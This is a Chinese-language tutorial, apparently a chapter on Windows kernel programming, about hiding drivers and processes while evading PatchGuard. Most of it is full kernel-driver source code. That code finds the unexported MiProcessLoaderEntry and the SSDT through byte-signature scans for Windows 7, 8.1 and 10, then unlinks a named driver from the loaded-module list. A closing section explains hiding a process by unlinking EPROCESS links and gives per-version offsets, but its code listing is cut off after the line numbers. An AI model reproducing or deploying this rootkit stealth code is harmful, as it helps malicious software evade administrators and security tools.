WindowsAPI编程核心技术-过PatchGuard防护
驱动隐藏过PatchGuard
摘链
未导出函数MiProcessLoaderEntry
从全局链表中插入或删除一个模块,操作时同样设置PatchGuard监控的全局数据,所以不会触发PatchGuard导致蓝屏。声明如下:
1 2 3 4 5
| NTSTATUS __stdcall MiProcessLoaderEntry( PVOID pList, BOOLEAN bOperate ); NTSTATUS __fastcall MiProcessLoaderEntry(PVOID pList,BOOLEAN bOperate);
|
对Ntoskrnl.exe丢IDA进行分析,对导出函数NtSetSystemInformation
内存特征码扫描定位未导出函数MmLoadSystemImage
地址。
对于x86和x64的Windows 7和Windows 8.1,在MmLoadSystemImage
函数内存中扫描定位MiProcessLoaderEntry
函数地址。
对于x86和x64的Windows 10,在MmLoadSystemImage
中定位MiConstructLoaderEntry
未导出函数,再从中扫描定位MiProcessLoaderEntry
函数地址。
在导出函数NtSetSystemImformation
中定位未导出函数MmLoadSystemInformation
特征码:
|
Windows 7 |
Windows 8.1 |
Windows 10 |
x86 |
D850E8 |
8D8510FFFFFF50E8 |
8D8504FFFFFF50E8 |
x64 |
488D4C2438E8 |
488D8C2400020000E8 |
488D8C2448020000E8 |
在未导出函数MmLoadSystemImage
中定位未导出函数MiProcessLoaderEntry
特征码:
|
Windows 7 |
Windows 8.1 |
Windows 10 |
x86 |
6A0156E8 |
8974241C8BCFE8 |
8D54244C50E8/8BCB42E8 |
x64 |
BA01000000488BCDE8 |
4183CC04E8 |
488BCF89442420E8/BA01000000488BCFE8 |
驱动隐藏
驱动对象结构体DRIVER_OBJECT的结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| typedef struct _DRIVER_OBJECT { CSHORT Type; CSHORT Size; PDEVICE_OBJECT DeviceObject; ULONG Flags; PVOID DriverStart; ULONG DriverSize; PVOID DriverSection; PDRIVER_EXTENSION DriverExtension; UNICODE_STRING DriverName; PUNICODE_STRING HardwareDatabase; PFAST_IO_DISPATCH FastIoDispatch; PDRIVER_INITIALIZE DriverInit; PDRIVER_STARTIO DriverStartIo; PDRIVER_UNLOAD DriverUnload; PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; DRIVER_OBJECT; } DRIVER_OBJECT;
|
重点在DriverSection域上,结构体LDR_DATA_TABLE_ENTRY结构体不公开但长这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| #ifndef _WIN64 #pragma pack(1) #endif typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllname; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; LIST_ENTRY ForwarderLinks; LIST_ENTRY ServiceTagLinks; LIST_ENTRY StaticLinks; } LDR_DATA_TABLE_ENTRY,*PLDR_DATA_TABLE_ENTRY; #ifndef _WIN64 #pragma pack() #endif
|
这里面记录了驱动模块的加载基址、路径、名称等信息。因为DRIVER_OBJECT整个都是PatchGuard的重点保护内存数据,所以用MiProcessLoaderEntry
进行摘链实现驱动隐藏。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| BOOLEAN HideDriver_Bypass_PatchGuard(PDRIVER_OBJECT pDriverObject, UNICODE_STRING ustrHideDriverName) { PLDR_DATA_TABLE_ENTRY pDriverData = (PLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection; typedef_MiProcessLoaderEntry MiProcessLoaderEntry = NULL; MiProcessLoaderEntry = GetFuncAddr_MiProcessLoaderEntry(); if (NULL == MiProcessLoaderEntry) { DbgPrint("GetFuncAddr_MiProcessLoaderEntry Error!"); return FALSE; }; DbgPrint("MiProcessLoaderEntry=0x%p", MiProcessLoaderEntry); PLDR_DATA_TABLE_ENTRY pFirstDriverData = pDriverData; do { if ((0 < pDriverData->BaseDllName.Length) || (0 < pDriverData->FullDllName.Length)) if (RtlEqualUnicodeString(&pDriverData->BaseDllName, &ustrHideDriverName, TRUE)) { MiProcessLoaderEntry((PVOID)pDriverData, FALSE); DbgPrint("[Hide Driver]%wZ\n", &pDriverData->BaseDllName); break; }; pDriverData = (PLDR_DATA_TABLE_ENTRY)pDriverData->InLoadOrderLinks.Flink; } while (pFirstDriverData != pDriverData); return TRUE; };
|
源代码
Driver.h:
1 2 3 4 5 6 7 8 9 10 11 12
| #ifndef _DRIVER_H_ #define _DRIVER_H_
#include <ntddk.h>
VOID DriverUnload(PDRIVER_OBJECT pDriverObject); NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp);
#endif
|
EnumDriver.h:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| #ifndef _DRIVER_ENUM_H_ #define _DRIVER_ENUM_H_
#include <ntddk.h>
#ifndef _WIN64 #pragma pack(1) #endif
typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; LIST_ENTRY ForwarderLinks; LIST_ENTRY ServiceTagLinks; LIST_ENTRY StaticLinks; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
#ifndef _WIN64 #pragma pack() #endif
BOOLEAN EnumDriver(PDRIVER_OBJECT pDriverObject);
BOOLEAN HideDriver_Bypass_PatchGuard(PDRIVER_OBJECT pDriverObject, UNICODE_STRING ustrHideDriverName);
#endif
|
GetMiProcessLoaderEntry.h:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| #ifndef _GET_MIPROCESSLOADERENTRY_H_ #define _GET_MIPROCESSLOADERENTRY_H_
#include <ntddk.h>
#ifndef _WIN64 typedef NTSTATUS(__stdcall *typedef_MiProcessLoaderEntry)(PVOID, BOOLEAN); #else typedef NTSTATUS(__fastcall *typedef_MiProcessLoaderEntry)(PVOID, BOOLEAN); #endif
PVOID GetFuncAddr_MiProcessLoaderEntry();
PVOID GetFuncAddr_MmLoadSystemImage();
PVOID SearchSpecialCode(PVOID pSearchBeginAddr, ULONG ulSearchLength, PUCHAR pSpecialCode, ULONG ulSpecialCodeLength);
#endif
|
SSDTFunction.h:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| #ifndef _SSDT_FUNCTION_H_ #define _SSDT_FUNCTION_H_
#include <ntddk.h> #include <ntimage.h>
#ifndef _WIN64 #pragma pack(1) typedef struct _SERVICE_DESCIPTOR_TABLE { PULONG ServiceTableBase; PULONG ServiceCounterTableBase; ULONG NumberOfService; PUCHAR ParamTableBase; }SSDTEntry, *PSSDTEntry; #pragma pack() extern SSDTEntry __declspec(dllimport) KeServiceDescriptorTable;
#else #pragma pack(1) typedef struct _SERVICE_DESCIPTOR_TABLE { PULONG ServiceTableBase; PVOID ServiceCounterTableBase; ULONGLONG NumberOfService; PVOID ParamTableBase; }SSDTEntry, *PSSDTEntry; #pragma pack()
#endif
PVOID GetSSDTFunction(PCHAR pszFunctionName);
PVOID GetSSDTAddress();
ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName);
NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress);
ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName);
#endif
|
Driver.c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| #include "Driver.h" #include "EnumDriver.h"
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath) { DbgPrint("Enter DriverEntry\n");
NTSTATUS status = STATUS_SUCCESS; pDriverObject->DriverUnload = DriverUnload; for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) { pDriverObject->MajorFunction[i] = DriverDefaultHandle; }
EnumDriver(pDriverObject);
UNICODE_STRING ustrDriverName; RtlInitUnicodeString(&ustrDriverName, L"EnumDriver_Test.sys"); HideDriver_Bypass_PatchGuard(pDriverObject, ustrDriverName); DbgPrint("Leave DriverEntry\n"); return status; }
VOID DriverUnload(PDRIVER_OBJECT pDriverObject) { }
NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp) { NTSTATUS status = STATUS_SUCCESS; pIrp->IoStatus.Status = status; pIrp->IoStatus.Information = 0; IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return status; }
|
EnumDriver.c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| #include "EnumDriver.h" #include "GetMiProcessLoaderEntry.h"
BOOLEAN EnumDriver(PDRIVER_OBJECT pDriverObject) { PLDR_DATA_TABLE_ENTRY pDriverData = (PLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection; PLDR_DATA_TABLE_ENTRY pFirstDriverData = pDriverData; do { if ((0 < pDriverData->BaseDllName.Length) || (0 < pDriverData->FullDllName.Length)) { DbgPrint("BaseDllName=%ws,\tDllBase=0x%p,\tSizeOfImage=0x%X,\tFullDllName=%ws\n", pDriverData->BaseDllName.Buffer, pDriverData->DllBase, pDriverData->SizeOfImage, pDriverData->FullDllName.Buffer); } pDriverData = (PLDR_DATA_TABLE_ENTRY)pDriverData->InLoadOrderLinks.Flink;
} while (pFirstDriverData != pDriverData);
return TRUE; }
BOOLEAN HideDriver_Bypass_PatchGuard(PDRIVER_OBJECT pDriverObject, UNICODE_STRING ustrHideDriverName) { PLDR_DATA_TABLE_ENTRY pDriverData = (PLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection; typedef_MiProcessLoaderEntry MiProcessLoaderEntry = NULL;
MiProcessLoaderEntry = GetFuncAddr_MiProcessLoaderEntry(); if (NULL == MiProcessLoaderEntry) { DbgPrint("GetFuncAddr_MiProcessLoaderEntry Error!"); return FALSE; } DbgPrint("MiProcessLoaderEntry=0x%p", MiProcessLoaderEntry);
PLDR_DATA_TABLE_ENTRY pFirstDriverData = pDriverData; do { if ((0 < pDriverData->BaseDllName.Length) || (0 < pDriverData->FullDllName.Length)) { if (RtlEqualUnicodeString(&pDriverData->BaseDllName, &ustrHideDriverName, TRUE)) { MiProcessLoaderEntry((PVOID)pDriverData, FALSE); DbgPrint("[Hide Driver]%wZ\n", &pDriverData->BaseDllName); break; } } pDriverData = (PLDR_DATA_TABLE_ENTRY)pDriverData->InLoadOrderLinks.Flink;
} while (pFirstDriverData != pDriverData); return TRUE; }
|
GetMiProcessLoaderEntry.c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325
| #include "GetMiProcessLoaderEntry.h" #include "SSDTFunction.h"
PVOID GetFuncAddr_MiProcessLoaderEntry() { NTSTATUS status = STATUS_SUCCESS; RTL_OSVERSIONINFOW osVersionInfo = { 0 }; PVOID pMmLoadSystemImage = NULL; PVOID pMiConstructLoaderEntry = NULL; PVOID pMiProcessLoaderEntry = NULL; UCHAR pSpecialCode[256] = { 0 }; ULONG ulSpecialCodeLength = 256; ULONG ulSearchLength = 0x1000; PVOID pSearchResultAddr = NULL; LONG lOffset = 0; RtlZeroMemory(pSpecialCode, ulSpecialCodeLength);
pMmLoadSystemImage = GetFuncAddr_MmLoadSystemImage(); if (NULL == pMmLoadSystemImage) { return pMiProcessLoaderEntry; } DbgPrint("pMmLoadSystemImage[0x%p]\n", pMmLoadSystemImage);
RtlGetVersion(&osVersionInfo); if (6 == osVersionInfo.dwMajorVersion) { if (1 == osVersionInfo.dwMinorVersion) { #ifndef _WIN64 pSpecialCode[0] = 0x6a; pSpecialCode[1] = 0x01; pSpecialCode[2] = 0x56; pSpecialCode[3] = 0xe8; ulSpecialCodeLength = 4; #else pSpecialCode[0] = 0xba; pSpecialCode[1] = 0x01; pSpecialCode[2] = 0x00; pSpecialCode[3] = 0x00; pSpecialCode[4] = 0x00; pSpecialCode[5] = 0x48; pSpecialCode[6] = 0x8b; pSpecialCode[7] = 0xcd; pSpecialCode[8] = 0xe8; ulSpecialCodeLength = 9; #endif } else if (2 == osVersionInfo.dwMinorVersion) { } else if (3 == osVersionInfo.dwMinorVersion) { #ifndef _WIN64 pSpecialCode[0] = 0x89; pSpecialCode[1] = 0x74; pSpecialCode[2] = 0x24; pSpecialCode[3] = 0x1c; pSpecialCode[4] = 0x8b; pSpecialCode[5] = 0xcf; pSpecialCode[6] = 0xe8; ulSpecialCodeLength = 7; #else pSpecialCode[0] = 0x41; pSpecialCode[1] = 0x83; pSpecialCode[2] = 0xcc; pSpecialCode[3] = 0x04; pSpecialCode[4] = 0xe8; ulSpecialCodeLength = 5; #endif } } else if (10 == osVersionInfo.dwMajorVersion) { #ifndef _WIN64 pSpecialCode[0] = 0x8d; pSpecialCode[1] = 0x54; pSpecialCode[2] = 0x24; pSpecialCode[3] = 0x4c; pSpecialCode[4] = 0x50; pSpecialCode[5] = 0xe8; ulSpecialCodeLength = 6; pSearchResultAddr = SearchSpecialCode(pMmLoadSystemImage, ulSearchLength, pSpecialCode, ulSpecialCodeLength); if (NULL == pSearchResultAddr) { return pMiProcessLoaderEntry; } lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength); pMiConstructLoaderEntry = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset); pSpecialCode[0] = 0x8b; pSpecialCode[1] = 0xcb; pSpecialCode[2] = 0x42; pSpecialCode[3] = 0xe8; ulSpecialCodeLength = 4; pMmLoadSystemImage = pMiConstructLoaderEntry; #else pSpecialCode[0] = 0x48; pSpecialCode[1] = 0x8b; pSpecialCode[2] = 0xcf; pSpecialCode[3] = 0x89; pSpecialCode[4] = 0x44; pSpecialCode[5] = 0x24; pSpecialCode[6] = 0x20; pSpecialCode[7] = 0xe8; ulSpecialCodeLength = 8; pSearchResultAddr = SearchSpecialCode(pMmLoadSystemImage, ulSearchLength, pSpecialCode, ulSpecialCodeLength); if (NULL == pSearchResultAddr) { return pMiProcessLoaderEntry; } lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength); pMiConstructLoaderEntry = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset); pSpecialCode[0] = 0xba; pSpecialCode[1] = 0x01; pSpecialCode[2] = 0x00; pSpecialCode[3] = 0x00; pSpecialCode[4] = 0x00; pSpecialCode[5] = 0x48; pSpecialCode[6] = 0x8b; pSpecialCode[7] = 0xcf; pSpecialCode[8] = 0xe8; ulSpecialCodeLength = 9; pMmLoadSystemImage = pMiConstructLoaderEntry; #endif }
pSearchResultAddr = SearchSpecialCode(pMmLoadSystemImage, ulSearchLength, pSpecialCode, ulSpecialCodeLength); if (NULL == pSearchResultAddr) { return pMiProcessLoaderEntry; } lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength); pMiProcessLoaderEntry = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset);
return pMiProcessLoaderEntry; }
PVOID GetFuncAddr_MmLoadSystemImage() { NTSTATUS status = STATUS_SUCCESS; RTL_OSVERSIONINFOW osVersionInfo = { 0 }; PVOID pNtSetSystemInformation = NULL; PVOID pMmLoadSystemImage = NULL; UCHAR pSpecialCode[256] = { 0 }; ULONG ulSpecialCodeLength = 256; ULONG ulSearchLength = 0x1000; PVOID pSearchResultAddr = NULL; LONG lOffset = 0; RtlZeroMemory(pSpecialCode, ulSpecialCodeLength);
pNtSetSystemInformation = GetSSDTFunction("NtSetSystemInformation"); if (NULL == pNtSetSystemInformation) { return pMmLoadSystemImage; }
RtlGetVersion(&osVersionInfo); if (6 == osVersionInfo.dwMajorVersion) { if (1 == osVersionInfo.dwMinorVersion) { #ifndef _WIN64 pSpecialCode[0] = 0xd8; pSpecialCode[1] = 0x50; pSpecialCode[2] = 0xe8; ulSpecialCodeLength = 3; #else pSpecialCode[0] = 0x48; pSpecialCode[1] = 0x8d; pSpecialCode[2] = 0x4c; pSpecialCode[3] = 0x24; pSpecialCode[4] = 0x38; pSpecialCode[5] = 0xe8; ulSpecialCodeLength = 6; #endif } else if (2 == osVersionInfo.dwMinorVersion) { } else if (3 == osVersionInfo.dwMinorVersion) { #ifndef _WIN64 pSpecialCode[0] = 0x8d; pSpecialCode[1] = 0x85; pSpecialCode[2] = 0x10; pSpecialCode[3] = 0xff; pSpecialCode[4] = 0xff; pSpecialCode[5] = 0xff; pSpecialCode[6] = 0x50; pSpecialCode[7] = 0xe8; ulSpecialCodeLength = 8; #else pSpecialCode[0] = 0x48; pSpecialCode[1] = 0x8d; pSpecialCode[2] = 0x8c; pSpecialCode[3] = 0x24; pSpecialCode[4] = 0x00; pSpecialCode[5] = 0x02; pSpecialCode[6] = 0x00; pSpecialCode[7] = 0x00; pSpecialCode[8] = 0xe8; ulSpecialCodeLength = 9; #endif } } else if (10 == osVersionInfo.dwMajorVersion) { #ifndef _WIN64 pSpecialCode[0] = 0x8d; pSpecialCode[1] = 0x85; pSpecialCode[2] = 0x04; pSpecialCode[3] = 0xff; pSpecialCode[4] = 0xff; pSpecialCode[5] = 0xff; pSpecialCode[6] = 0x50; pSpecialCode[7] = 0xe8; ulSpecialCodeLength = 8; #else pSpecialCode[0] = 0x48; pSpecialCode[1] = 0x8d; pSpecialCode[2] = 0x8c; pSpecialCode[3] = 0x24; pSpecialCode[4] = 0x48; pSpecialCode[5] = 0x02; pSpecialCode[6] = 0x00; pSpecialCode[7] = 0x00; pSpecialCode[8] = 0xe8; ulSpecialCodeLength = 9; #endif }
pSearchResultAddr = SearchSpecialCode(pNtSetSystemInformation, ulSearchLength, pSpecialCode, ulSpecialCodeLength); if (NULL == pSearchResultAddr) { return pMmLoadSystemImage; } lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength); pMmLoadSystemImage = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset);
return pMmLoadSystemImage; }
PVOID SearchSpecialCode(PVOID pSearchBeginAddr, ULONG ulSearchLength, PUCHAR pSpecialCode, ULONG ulSpecialCodeLength) { PVOID pDestAddr = NULL; PUCHAR pBeginAddr = (PUCHAR)pSearchBeginAddr; PUCHAR pEndAddr = pBeginAddr + ulSearchLength; PUCHAR i = NULL; ULONG j = 0;
for (i = pBeginAddr; i <= pEndAddr; i++) { for (j = 0; j < ulSpecialCodeLength; j++) { if (FALSE == MmIsAddressValid((PVOID)(i + j))) { break;; } if (*(PUCHAR)(i + j) != pSpecialCode[j]) { break; } } if (j >= ulSpecialCodeLength) { pDestAddr = (PVOID)i; break; } }
return pDestAddr; }
|
SSDTFunction.c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190
| #include "SSDTFunction.h"
PVOID GetSSDTFunction(PCHAR pszFunctionName) { UNICODE_STRING ustrDllFileName; ULONG ulSSDTFunctionIndex = 0; PVOID pFunctionAddress = NULL; PSSDTEntry pServiceDescriptorTable = NULL; ULONG ulOffset = 0; RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, pszFunctionName);
pServiceDescriptorTable = GetSSDTAddress();
#ifndef _WIN64 pFunctionAddress = (PVOID)pServiceDescriptorTable->ServiceTableBase[ulSSDTFunctionIndex]; #else ulOffset = pServiceDescriptorTable->ServiceTableBase[ulSSDTFunctionIndex] >> 4; pFunctionAddress = (PVOID)((PUCHAR)pServiceDescriptorTable->ServiceTableBase + ulOffset); #endif
DbgPrint("[%s][SSDT Addr:0x%p][Index:%d][Address:0x%p]\n", pszFunctionName, pServiceDescriptorTable, ulSSDTFunctionIndex, pFunctionAddress);
return pFunctionAddress; }
PVOID GetSSDTAddress() { PVOID pServiceDescriptorTable = NULL; PVOID pKiSystemCall64 = NULL; UCHAR ulCode1 = 0; UCHAR ulCode2 = 0; UCHAR ulCode3 = 0; LONG lOffset = 0;
#ifndef _WIN64 pServiceDescriptorTable = (PVOID)(&KeServiceDescriptorTable); #else pKiSystemCall64 = (PVOID)__readmsr(0xC0000082); for (ULONG i = 0; i < 1024; i++) { ulCode1 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i)); ulCode2 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i + 1)); ulCode3 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i + 2)); if (0x4C == ulCode1 && 0x8D == ulCode2 && 0x15 == ulCode3) { lOffset = *((PLONG)((PUCHAR)pKiSystemCall64 + i + 3)); pServiceDescriptorTable = (PVOID)(((PUCHAR)pKiSystemCall64 + i) + 7 + lOffset); break; } } #endif
return pServiceDescriptorTable; }
ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName) { ULONG ulFunctionIndex = 0; NTSTATUS status = STATUS_SUCCESS; HANDLE hFile = NULL; HANDLE hSection = NULL; PVOID pBaseAddress = NULL;
status = DllFileMap(ustrDllFileName, &hFile, &hSection, &pBaseAddress); if (!NT_SUCCESS(status)) { KdPrint(("DllFileMap Error!\n")); return ulFunctionIndex; }
ulFunctionIndex = GetIndexFromExportTable(pBaseAddress, pszFunctionName);
ZwUnmapViewOfSection(NtCurrentProcess(), pBaseAddress); ZwClose(hSection); ZwClose(hFile);
return ulFunctionIndex; }
NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress) { NTSTATUS status = STATUS_SUCCESS; HANDLE hFile = NULL; HANDLE hSection = NULL; OBJECT_ATTRIBUTES objectAttributes = { 0 }; IO_STATUS_BLOCK iosb = { 0 }; PVOID pBaseAddress = NULL; SIZE_T viewSize = 0; InitializeObjectAttributes(&objectAttributes, &ustrDllFileName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); status = ZwOpenFile(&hFile, GENERIC_READ, &objectAttributes, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); if (!NT_SUCCESS(status)) { KdPrint(("ZwOpenFile Error! [error code: 0x%X]", status)); return status; } status = ZwCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE, NULL, 0, PAGE_READWRITE, 0x1000000, hFile); if (!NT_SUCCESS(status)) { ZwClose(hFile); KdPrint(("ZwCreateSection Error! [error code: 0x%X]", status)); return status; } status = ZwMapViewOfSection(hSection, NtCurrentProcess(), &pBaseAddress, 0, 1024, 0, &viewSize, ViewShare, MEM_TOP_DOWN, PAGE_READWRITE); if (!NT_SUCCESS(status)) { ZwClose(hSection); ZwClose(hFile); KdPrint(("ZwMapViewOfSection Error! [error code: 0x%X]", status)); return status; }
*phFile = hFile; *phSection = hSection; *ppBaseAddress = pBaseAddress;
return status; }
ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName) { ULONG ulFunctionIndex = 0; PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((PUCHAR)pDosHeader + pDosHeader->e_lfanew); PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress); ULONG ulNumberOfNames = pExportTable->NumberOfNames; PULONG lpNameArray = (PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfNames); PCHAR lpName = NULL; for (ULONG i = 0; i < ulNumberOfNames; i++) { lpName = (PCHAR)((PUCHAR)pDosHeader + lpNameArray[i]); if (0 == _strnicmp(pszFunctionName, lpName, strlen(pszFunctionName))) { USHORT uHint = *(USHORT *)((PUCHAR)pDosHeader + pExportTable->AddressOfNameOrdinals + 2 * i); ULONG ulFuncAddr = *(PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfFunctions + 4 * uHint); PVOID lpFuncAddr = (PVOID)((PUCHAR)pDosHeader + ulFuncAddr); #ifdef _WIN64 ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 4); #else ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 1); #endif break; } }
return ulFunctionIndex; }
|
进程隐藏过PatchGuard
基本原理
进程EPROCESS结构体存储着进程的一切信息,其中ActiveProcessLinks成员的数据类型是LIST_ENTRY,Flink指向下一个进程EPROCESS的ActiveProcessLinks成员地址,Blink指向上一个进程EPROCESS的ActiveProcessLinks成员地址。
可用PsGetCurrentProcess
获取当前进程EPROCESS,用PsGetProcessId
从EPROCESS进程结构中获取进程PID信息,用PsGetProcessImageFileName
从EPROCESS中获取进程名称信息。
隐藏进程就是摘链,ZwQuerySystemInformation
查询进程就是遍历链表。让上一个EPROCESS的ActiveProcessLinks的Flink指向下一个进程结构EPROCESS的ActivateProcessLinks成员地址,下一个进程结构EPROCESS成员ActivateProcessLinks的Blink指向上一个EPROCESS结构的ActivateProcessLinks成员地址。这样通过摘链实现指定进程的隐藏,且不影响进程的正常运行。
摘链对EPROCESS进程结构修改时触发PatchGuard机制,不能用普通的RemoveEntryList
实现,要用未导出函数MiProcessLoaderEntry
实现绕过。
ActivateProcessLinks在EPROCESS中偏移位置不同,这是各系统偏移值:
|
Windows 7 |
Windows 8.1 |
Windows 10 |
x86 |
B8 |
B8 |
B8 |
x64 |
188 |
2E8 |
2F0 |
编码实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
